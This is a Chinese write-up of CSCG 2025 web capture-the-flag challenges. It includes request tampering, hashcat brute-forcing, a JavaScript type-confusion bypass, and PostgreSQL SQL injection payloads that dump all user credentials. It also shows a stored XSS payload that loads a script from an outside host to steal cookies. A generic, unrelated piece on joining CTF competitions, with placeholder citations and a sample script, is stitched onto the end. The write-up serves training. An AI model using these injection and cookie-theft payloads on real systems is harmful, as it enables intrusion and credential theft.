CSCG CTF 2025 writeup

CSCG CTF 2025 writeups【持续更新】

赛事信息

web

Intro Web 1

flag 第一段在html注释里CSCG{ImgAvH8w5
在这里插入图片描述
flag第二段在js中1a7364a71
在这里插入图片描述
flag第三段在响应头中VdGb98br}
在这里插入图片描述
flag: CSCG{ImgAvH8w51a7364a71VdGb98br}

Intro Web 2

根据提示修改useragent为windows 95,然后得到flag一部分:CSCG{l9jj550K
在这里插入图片描述
提示用post请求,但没给post的参数,推测post参数为filename,提示请求flag.txt,然后出一部分flag:UaT0BVvk
在这里插入图片描述
用GET传递参数,拿到flag一部分:Q9Z39J9A
在这里插入图片描述
在第一次点击最后一个认证的时候,服务器会重定向到一个burn-after-reading-6237725.php?authorized=false。页面,这时候我们要更改为true才可以。最后一段flag:W4at6R2B}
在这里插入图片描述
flag:CSCG{l9jj550KUaT0BVvkQ9Z39J9AW4at6R2B}

Intro Web 3

这个题第一关,刚开始理解错了,以为要爆破哈希,发现最后爆不出来,才考虑到其他方法,所以记录一下错误示例。
通过爆破,拿到sha256哈希1次的值,然后爆破,flag格式是CSCG{xxx},所以用工具爆破
在这里插入图片描述
sha256(flag) =47a916af6fdd6c7c0d6e2a9cfb33a0b1755a207e3d76b738300a2b85c4b5261c

使用 hashcat 掩码爆破的方法

hashcat -m 1400 -a 3 -1 ?d?l?u_ 47a916af6fdd6c7c0d6e2a9cfb33a0b1755a207e3d76b738300a2b85c4b5261c CSCG{?1?1?1?1?1?1?1?1 --increment --force

-1是自定义掩码(?d是数字类型,?l是小写字母,?u是大写字母,再补充个下划线)
-m 1400 是sha256模式
-a 3 是掩码模式
爆破半小时还出不来,因为只知道前几位,但不知道总长度


下边是参考解答:

  • 漏洞点:类型验证绕过
    • 代码仅检查 chosenNumber 是否为 string 类型,但未处理其他非数字类型(如数组)。
  • ​验证逻辑缺陷:
    • 若 chosenNumber 是空数组 [],Math.min([], randomNumber) 会强制类型转换为 0,导致 iterations = 0。
  • ​类型转换漏洞:
    • 空数组 [] 转换为数字时为 0。
      在这里插入图片描述
      flag第一部分 CSCG{Q8oIoy3P
      第二部分
      我在尝试sql注入的时候,使用了or 1=1 -- 的经典payload,而服务器返回了iwasfirstlol,而不是我的用户名,这让我确信存在sql注入
      在这里插入图片描述
      当我使用堆叠注入的时候,我获得了如下的信息username=admin&password=smart123'; select version();--
      在这里插入图片描述
  1. 查模式名
    在postgresql中也存在information_schema表
select current_schema()
select schemaname from pg_tables
select schema_name from information_schema.schemata

在这里插入图片描述
2. 查表名

select tablename from pg_tables where schemaname='public'
select table_name from information_schema.tables where table_schema='public'

在这里插入图片描述
3. 查字段名

select column_name,data_type from information_schema.columns where table_name='users'
select attname,typname from pg_attribute b JOIN pg_class A ON A.oid = b.attrelid  JOIN pg_type C ON C.oid = b.atttypid JOIN pg_namespace d ON A.relnamespace = d.oid WHERE  b.attnum > 0 AND A.relname = 'users';--
# 上述第二个命令展开如下
SELECT
	attname,typname 
FROM
	pg_attribute b
	JOIN pg_class A ON A.oid = b.attrelid
	JOIN pg_type C ON C.oid = b.atttypid
	JOIN pg_namespace d ON A.relnamespace = d.oid 
WHERE
	b.attnum > 0 AND A.relname = 'users'

在这里插入图片描述
在这里插入图片描述
4. 查数据
在postgresql中没有group_concat函数,如果需要将大量数据一起查出来的话可以用string_agg和array_agg两个函数:

select string_agg(id||','||username||','||password, ',') from users
select array_to_string(array_agg(id||','||username||','||password), ',') from users

在这里插入图片描述
在这里插入图片描述
如上图所示,我们拿到了所有用户的用户名和密码,其中有admin的账号和密码,admin,superadminpasswordunguessable123,然后拿着这个账号密码登录即可获得flag的第二部分
在这里插入图片描述
flag part2:s956Uwvv
第三部分
当我在留言板输入,script>alert(3)</script>的时候,目标有弹窗,说明存在xss注入问题
在这里插入图片描述
然后我找了一个在线网站,xss平台可以接收cookie的,并嵌入了恶意代码,<sCRiPt sRC=//xs.pe/Vro></sCrIpT>
在这里我们看到了,第三段flag,WIfJAzNs}
在这里插入图片描述
flag: CSCG{Q8oIoy3Ps956UwvvWIfJAzNs}

### CTF2025 渗透测试比赛详情 CTF(Capture The Flag)是一种流行的信息安全竞赛形式,旨在通过模拟真实世界中的攻击场景来提升参赛者的技能。对于希望参与CTF2025渗透测试比赛的人士来说,了解如何准备和加入这类活动至关重要。 #### 比赛信息查找 为了获取最新的CTF2025赛事安排和其他相关信息,建议访问专门的CTF平台网站,如XCTF社区[^1]。这些平台上会发布各类国内外的比赛列表及其具体的时间表。此外,也可以关注其他知名的CTF资源站点,例如ctfhub,这里同样提供了丰富的当前及即将举办的赛事资讯[^3]。 #### 报名流程 当确定要参加某项特定的CTF2025渗透测试比赛之后,需按照官方指南完成注册过程。这通常涉及填写必要的个人信息并提交给主办方审核。一旦收到确认邮件,则表示成功加入了该次竞赛行列。需要注意的是,不同类型的CTF有不同的规则设定: - **解题模式**:参与者可通过线上或线下网络参与到此类活动中去解答一系列信息安全难题。此模式下,成绩取决于解决问题的速度与准确性。 - **攻防对抗模式**:这是一种更为激烈的竞争形式,各队不仅要保护自己的服务器免受攻击,还要尝试入侵对手的服务以获得分数。 #### 准备工作 在正式踏入赛场之前,充分准备好是必不可少的一环。可以从以下几个方面着手: - 学习基础理论和技术知识点; - 实践操作练习,尤其是针对Web应用的安全评估技巧; - 阅读过往比赛后的Write-up文档,借鉴高手们的思维方式和解决方案策略。 #### 注意事项 在整个过程中务必严格遵守比赛规定,保持良好的竞技精神。严禁违反公平原则的行为,比如私自与其他队伍沟通协作或是故意干扰比赛环境稳定性的举动都将受到严厉处罚[^5]。 ```python # 示例Python脚本用于自动化收集公开可用的情报数据作为前期准备工作的一部分 import requests def gather_osint(target_domain): url = f"https://api.example.com/v1/domains/{target_domain}/information" response = requests.get(url) if response.status_code == 200: data = response.json() print(f"Gathered information about {target_domain}:") for key, value in data.items(): print(f"{key}: {value}") else: print("Failed to retrieve information.") if __name__ == "__main__": target = "example-target-domain.com" gather_osint(target) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值